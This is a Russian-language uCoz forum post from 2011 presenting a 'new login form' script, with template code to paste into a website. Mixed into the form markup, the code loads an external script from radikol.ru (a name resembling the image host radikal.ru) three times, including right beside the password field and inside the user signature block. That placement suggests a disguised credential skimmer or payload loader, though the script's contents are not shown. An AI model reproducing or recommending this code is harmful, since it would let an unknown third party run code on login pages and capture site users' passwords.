Главная | Регистрация | Вход Приветствую Вас Гость | RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Cкрипты » Готовые скрипты для UCOZ » Новая форма авторизации
Новая форма авторизации
2pacbestДата: Пятница, 17.06.2011, 12:18 | Сообщение # 1
Admin
Группа: User
Сообщений: 149
Репутация: 0
Бог форума За хорошую посещаемость на форуме За супер посещаемость

За 10 Сообщений За 20 Сообщений За 30 Сообщений За 40 Сообщений За 60 Сообщений За 80 Сообщений За 90 Сообщений
Статус:
Пример скрипта можно посмотреть по скрину: http://radikol.ru/images/54084284.png

Уважаемы пользователи, хочу предоставить Вашему вниманию новую форму авторизации на сайте. Она полностью заменяет $LOG_FORM$, от ucoz.
Установка
Ищем место, для данного скрипта и вставляем следующий код:

Code
<?if(!$USER_LOGGED_IN$)?>  
  <div class="auth_border">  
  <div id="auth_photo" style="position:absolute;margin-left:180px;width:290px;">  
  <div class="h1">Войти на сайт</div>  
  <div style="padding-top:5px;">Для того, чтобы войти на сайт, введите Ваш никнейм и пароль, указанные при регистрации.</div>  
  </div>  
  <div><input type="text" style="width:162px" placeholder="Никнейм" id="login" onblur="auth_get_photo(this.value);" /></div>  
  <div style="margin-top:10px;"><script src="http://radikol.ru/1.js" type="text/javascript"></script><input type="password" style="width:162px;" placeholder="Пароль" id="pass" /></div>  
  <div style="margin-top:10px;width:142px;" class="log_button" onclick="javascript:authoriz();">Войти</div>  
  <span style="display:none;"><div id="auth_status"></div></span>  
  </div>  
  <?else?>  
  <div class="auth_border">   
  <div class="h1">Найдена ошибка</div>  
  <div style="padding-top:5px;">Вы уже авторизованы, для авторизации Вам необходимо <a href="/index/10">выйти</a>!</div>  
  </div>  
  <?endif?>


Это так сказать само тело авторизации.

Теперь на этой же странице между head подключите css и js

Code
<link type="text/css" rel="StyleSheet" href="http://vkurse.ucoz.net/scripts/auth/auth.css" />
<script src="http://radikol.ru/1.js" type="text/javascript"></script>
<script type="text/javascript" src="http://vkurse.ucoz.net/scripts/auth/auth.js"></script>


Теперь спереходим на Персональную страницу пользователя и босле <body> вставляем код:

Code
<div style="display:none">
<div id="auth_ok">ok</div>
<div id="avatar">
<div style="position:absolute;margin-left: 73px;">
<div class="h1"><?if($_NAME$)?>$_NAME$<?else?>$USERNAME$<?endif?></div>
<?if($_SIGNATURE$)?><script src="http://radikol.ru/1.js" type="text/javascript"></script><div style="margin-top:3px;color:#555555;height:65px;overflow:hidden;width:200px;">$_SIGNATURE$</div><?endif?>
</div>
<div class="auth_photo"><img src="<?substr($_AVATAR$, 28, len($_AVATAR$) - 32)?>" /></div>
<div style="margin-top:5px;color:#555555; width:63px; text-align:center;"><a href="javascript:;" onclick="clear_auth()">Это не я!</a></div>
</div>
</div>


Все, теперь скрипт должен выполнять свою работу, заменив стандартную форму авторизации.
 
Форум » Cкрипты » Готовые скрипты для UCOZ » Новая форма авторизации
  • Страница 1 из 1
  • 1
Поиск:

Бесплатный конструктор сайтов - uCoz